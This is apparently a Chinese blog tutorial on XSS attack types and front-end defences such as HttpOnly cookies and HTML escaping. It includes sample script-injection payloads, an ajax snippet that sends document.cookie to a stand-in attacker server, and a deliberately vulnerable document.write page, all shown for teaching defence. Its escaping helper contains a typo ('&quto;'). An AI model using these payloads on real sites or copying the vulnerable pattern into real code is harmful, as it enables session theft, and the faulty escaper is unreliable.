Web前端安全策略之XSS的攻击与防御

@零一

发布于 2021-01-29 16:20:08

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发布于 2021-01-29 16:20:08

Web前端之安全性处理（一）

引言

随着技术的发展，前端早已不是只做页面的展示了，同时还需要做安全方面的处理，毕竟网站上很多数据会涉及到用户的隐私。若是没有些安全策略，很容易被别人通过某些操作，获取到一些用户隐私信息，那么用户数据隐私就无法得到保障。对于前端方面的安全策略你又知道多少呢？接下来我们来介绍一下~

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正文

前端的安全策略主要分为以下几种：

浏览器的同源策略
跨站脚本攻击(XSS)
跨站请求伪造(CSRF)

本文先讲前两个，之后再讲后两个。

一、浏览器的同源策略

同源策略是浏览器自带的一种安全策略，他是指协议、域名、 端口 三个都相同的才能互相访问。

这个不懂的小伙伴可以查看一下我写的另一篇文章，里面非常非常详细地讲述了同源策略的定义、作用，还有跨域请求的方法。下面放上链接——前端人员都懂的浏览器的同源策略，以及如何进行不同源间的相互访问

二、跨站脚本攻击（XSS）

跨站脚本攻击，缩写为XSS（Cross Site Scripting），是利用网页的漏洞，通过某种方式给网页注入恶意代码，使用户加载网页时执行注入的恶意代码。

XSS一共分为3种：

非持久型跨站（也叫反射型）
持久型跨站（也叫存储型）
DOM跨站

（1）非持久型跨站

定义：这是最普遍的一种XSS攻击方式，攻击的流程大致是：用户访问服务器——跨站的链接——返回跨站的代码

这个定义看起来非常的抽象，我们用一个例子来讲解一下。

例如html中有一个代码如下的 a 标签

<a href='http://localhost:5000?message=hello word'>点击跳转</a>

展示效果为下图

当我们单击 点击跳转 这个 a 标签时，会跳转到另一个页面，如下图

我来讲一下，在我们点击这个 a 标签后发生的过程，首先我们根据 a 标签的 href 属性的值去请求服务器，服务器接收到这个地址，并且接收到携带的参数（message=hello word），然后再跳转到另一个页面，并把这个参数的值放到另一个页面上。

了解了这些，我们接下来看一下XSS攻击是怎么操作的。

攻击者会给我们网站的 a 标签的 href 修改参数，并且该参数的值是一个脚本代码，如下图

我们可以看到，这时参数的值是一个脚本代码，那当我们点击 点击跳转 时，服务器将传过来的参数的值直接放到另一个页面上，也就是把<script>alert('攻击成功')</script> 直接放到另一个 html 文件中，当浏览器解析时，会把这个值当成是一个脚本标签执行内部的一些JS代码，效果如下图

就这样，攻击者传入的脚本代码就在用户点击操作完后，顺利的执行了。现在我只是拿 alert('攻击成功') 举个例子，那如果传入的 js 代码是一个 ajax 代码呢，例如下列这个形式：

$.ajax({
	url: 'http://localhost:5001',
    data: {cookie: document.cookie},
    type: 'get'
})

当这个脚本执行时，是在用户的浏览器执行的，这个脚本直接获取了该网站的 cookie信息并发送到自己的服务器，这样就成功盗取了 cookie 信息，是不是特别的恐怖。

最后再说一下， Chrome 浏览器现在已经可以阻挡70%的这种类型的XSS攻击，会弹出以下的提示

（2）持久型跨站

定义：危害极大的一种攻击类型，跨站代码存储在服务器（数据库）中。

我们通过例子来了解一下该攻击类型是如何实现的。

拿贴吧的帖子回复为例子，我们将回复内容填到这个输入框中，然后点击提交

点击提交以后，客户端会将表单数据（本例中就是输入框内的文字）发送给服务器，并将表单数据存储在自己的数据库中，然后再此刷新这个帖子的时候，我们就能看到有一条我们刚评论的回复了

我先来讲解一下，我们刚回复的这条评论是怎么展示在页面上的。当我们访问这个帖子的详情页时，会请求服务器，服务器根据帖子的 id 去数据库里找到该帖子的各种信息，例如帖子标题、发帖人、收藏数、点赞数、回复等等，然后将这些数据放到这个详情页中。

那么再回到发表回复的那个步骤，如果用户点击提交的时候，表单数据被改为这个样子怎么办？如图

这堆脚本代码将被服务器接收并保存到数据库中，然后每当别的用户访问到这个帖子的时候，服务器会将这串脚本代码当作普通的文字内容渲染在页面上，但是浏览器却会将他解析为脚本代码，并运行。这样一来，攻击的人只需要操作一次，就可以让全世界所有访问该网址的人，都受到他的攻击，这样的危害真的非常的大。

（3）DOM跨站

定义：通过修改页面DOM节点而形成的XSS攻击称作DOM跨站，这也可以算作一种非持久型跨站，它跟前两种XSS攻击方式唯一不一样的就是，它只发生在客户端，而不需要经过服务器。

我用我写的一个例子，给大家演示一下什么叫DOM跨站，先看一下网页代码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>

</head>
<body>


<input type="text" id="content">
<button id="btn">添加</button>

<script>
    window.onload = function () {
        let content = document.querySelector('#content')
        let btn = document.querySelector('#btn')
        btn.onclick = function () {
            document.write(content.value)
        }        
    }
</script>
</body>
</html>

该代码实现的效果就是，在输入框中输入内容，然后通过 document.write() 将输入框中的内容替换整个页面内容，来看一下下面这个动图

我们可以看到，这是个不需要通过服务器就能完成的操作，仅通过 js 代码获取用户在输入框中输入的内容，然后将这个页面重新渲染一遍。那我们再来看一个例子，如果在这个输入框中输入 <script>alert('你被XSS攻击了')</script> 会发生什么呢？

在通过 document.write() 重新渲染页面的时候，我们输入的 <script>alert('你被XSS攻击了'</script>) 被浏览器当作脚本去执行了，此时网页的DOM结构如图

所以，我们在使用操作DOM的指令的时候要格外的小心，在输出数据时，我们必须得对数据进行一下过滤操作。

三、防御XSS攻击

（1）设置HttpOnly

我们都知道，攻击者一般进行XSS攻击，大部分的目的都是为了获取用户的cookie，那么我们就可以设置一下 cookie 的 HttpOnly 。当给 cookie 设置了 HttpOnly 时，在前端，就无法通过 js 代码获取到 cookie 的值，即 document.cookie 将得到一个空值，说明此时的 cookie 是一个不可读不可写的状态，攻击者也就无法获取到想要的用户 cookie 信息了。

那这里呢，我就对如何设置HttpOnly进行讲解了，因为一般都是后端设置的，想要了解的小伙伴可以自行搜索一下，也非常的简单。

还有一点要说一下，设置HttpOnly 并不是防御住了XSS攻击，只是说不会让攻击者得到用户 cookie 信息，所以我们还需要进行别的防御操作。

（2）转义字符串

我们在了解完三种XSS攻击方式以后发现，XSS攻击大多都是由数据的输入和输出作为攻击点进行攻击，所以我们就需要在这几个点，对数据进行一下过滤，即前端数据输入和输出、后端数据输入和输出。

那么如何对数据进行过滤呢？我们可以来封装一个函数：

function escapeHTML(str) {
    return String(str)
            .replace(/&/g, '&amp;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/"/g, '&quto;')
            .replace(/'/g, '&#x27;')
            .replace(/`/g, '&#96;')
            .replace(/\//g, '&#x2F;')
}

这里将几个攻击者常用的输入内容都进行了转移，这样就避免了浏览器解析成了脚本代码。

防御DOM型跨站攻击 还是拿上面DOM型跨站攻击里的例子来说，因为 js 代码是获取了文本框里的内容，然后不经过转移就进行输入，所以才被浏览器解析成了脚本代码。我们则需要将数据输出前进行过滤一下

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>

</head>
<body>


<input type="text" id="content">
<button id="btn">添加</button>

<script>
    window.onload = function () {
        let content = document.querySelector('#content')
        let btn = document.querySelector('#btn')
        btn.onclick = function () {
        	//在输入数据前，用我们封装的escapeHTML函数过滤一下
            document.write(escapeHTML(content.value))
        }

    }
</script>
</body>
</html>

来看一下这时，输入一段脚本代码会发生什么

我们输入的文本内容经过过滤以后，并没有被浏览器解析成脚本代码，而是一串字符串的形式，这样就做到了DOM型跨站攻击的防御。

防御反射型跨站攻击

这种类型的攻击是用户先访问了服务器，然后服务器返回给客户端进行渲染的，所以我们在将数据发送给服务器前，需要对发送的数据进行过滤，其实后端在接收这个数据前和发送数据给客户端前，也应该做一下过滤。原因呢，很简单，因为攻击者可以用伪造请求的方式，绕过前端的数据过滤，直接请求服务器，这里不懂的小伙伴也没事，我们主要是将前端的防御，想知道更多的可以去搜索一下资料。

这里给大家列举了，可能会被反射型跨站攻击的点，在向这几个地方输入值的时候，一定要进行数据的过滤